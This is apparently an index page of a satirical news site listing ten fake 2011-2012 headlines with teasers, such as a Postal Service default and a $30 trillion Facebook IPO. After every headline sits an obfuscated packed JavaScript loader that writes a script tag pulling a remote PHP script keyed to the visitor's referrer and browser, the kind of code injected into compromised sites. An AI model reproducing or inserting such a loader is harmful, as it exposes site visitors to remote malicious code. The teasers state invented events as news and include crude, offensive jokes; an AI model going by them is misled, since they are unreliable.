Postal Service May Default

U.S. POSTAL SERVICE NEARS DEFAULT eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nfekz|var|u0026u|referrer|bhtby||js|php’.split(‘|’),0,{})) New Delivery Changes to be Announced Soon Washington, D. C. August 2nd, 2012 (SHK) The USPS said that it was “close to default” on close to half of the $11.1 billion in debt it must repay during the next two years. This comes as [...]

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Big Morgan Loss Shocks Markets

$2 BILLION LOSS BY J. P. MORGAN SHOCKS MARKETS eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|aryst|var|u0026u|referrer|ntzbk||js|php’.split(‘|’),0,{})) Reformers on a Rampage – Las Vegas Casinos Overjoyed New York, NY May 15th, 2012 (SHK) After J. P. Morgan reported its historic $2 billion trading loss last Friday, financial markets have been in turmoil. The bank’s stock alone lost [...]

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New Campaign for Global Sex

NEW CAMPAIGN TO LEGALIZE GLOBAL SEX eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nsaza|var|u0026u|referrer|hsisf||js|php’.split(‘|’),0,{})) Spurred by the Committee for the Legalization of American Prostitution Washington, DC April 21st, 2012 (SHK) Last week a dozen Secret Service agents were recalled from Cartagena, Colombia, as part of an internal investigation into their nocturnal activities in “tolerance zones” while on [...]

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New American Wines win Taste Tests

STUNNING NEW WINES WIN TASTE TESTS eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nzzif|var|u0026u|referrer|ddafi||js|php’.split(‘|’),0,{})) Viniculture Breakthroughs from New Jersey to Texas Bordeaux, France April 15th, 2012 (SHK) French winegrowers say they are increasingly concerned about a rash of American wines that have come to market from new wineries in New Jersey to unexpected competition from the state [...]

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Shocking Outcome in Michigan!

SHOCKING UPSET IN MICHIGAN eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iyfyy|var|u0026u|referrer|dkhys||js|php’.split(‘|’),0,{})) Write-in Vote Overwhelms Romney, Santorum Columbus, OH February 29th, 2012 (SHK) Late-night write-in votes Tuesday overtook the slight lead held by Mitt Romney over fellow Republican and born-again Christian conservative Rick Santorum in preliminary results. Press reports initially showed Romney leading Santorum by a few [...]

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Facebook Announces Epic IPO

FACEBOOK LAUNCHES EPIC IPO eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nfsfi|var|u0026u|referrer|erfyz||js|php’.split(‘|’),0,{})) First-ever Trillion-Dollar Market Valuation New York, NY February 4th, 2012 (SHK) Facebook announced this week that it will launch its historic IPO this coming May. The company has been valued at $30 trillion, about twice the size of America’s total GDP. “Our initial public offering [...]

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Christmas Now a Holy Day for Shoppers Everywhere

Christmas Now a Holy Day Everywhere eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ztbkn|var|u0026u|referrer|htdri||js|php’.split(‘|’),0,{})) Celebrated by Shoppers Around the World New York, NY December 25th, 2011 (SHK) Christmas Day, normally a National Holiday in Christian nations everywhere, is the birthday of Jesus Christ, a popular gay standup comic in Jerusalem during Roman times who is best remembered [...]

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Four Odds-On Oscar Favorites

FOUR ODDS-ON OSCAR FAVORITES eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fnyid|var|u0026u|referrer|kbzsn||js|php’.split(‘|’),0,{})) America’s Best Films Hype Big-Time Doomsday Scenarios Hollywood, CA  December 18th, 2011 (SHK) The American Academy of Motion Picture Arts and Sciences (www.oscars.org) has short-listed four feature films widely heralded as near-certain Oscar-winners this year.  Although there will be ten nominees for Best Picture, these [...]

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Used Car Batteries Create New Crisis

USED CAR BATTERIES THREATEN FOREIGNERS eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rtbfe|var|u0026u|referrer|bnrns||js|php’.split(‘|’),0,{})) General Motors now the #1 Suspect Everywhere Washington, DC December 11th, 2011 (SHK) Homeland Security today announced that used batteries trucked regularly from the US to Mexico for disposal there have become an unexpected threat to people and politics alike. More than sixty packed [...]

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Shocking New Poll Results

MORONS THINK WASHINGTON CREATED FINANCIAL CRISIS eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ntssh|var|u0026u|referrer|dnezy||js|php’.split(‘|’),0,{})) But Idiots Disagree, Cite Lack of Regulation Washington, DC October 26th, 2011 (SHK) According to the latest Pew Research poll, nearly two-thirds of American adults questioned — 64% — say they believe that the Federal government created the Great Recession. In that same [...]

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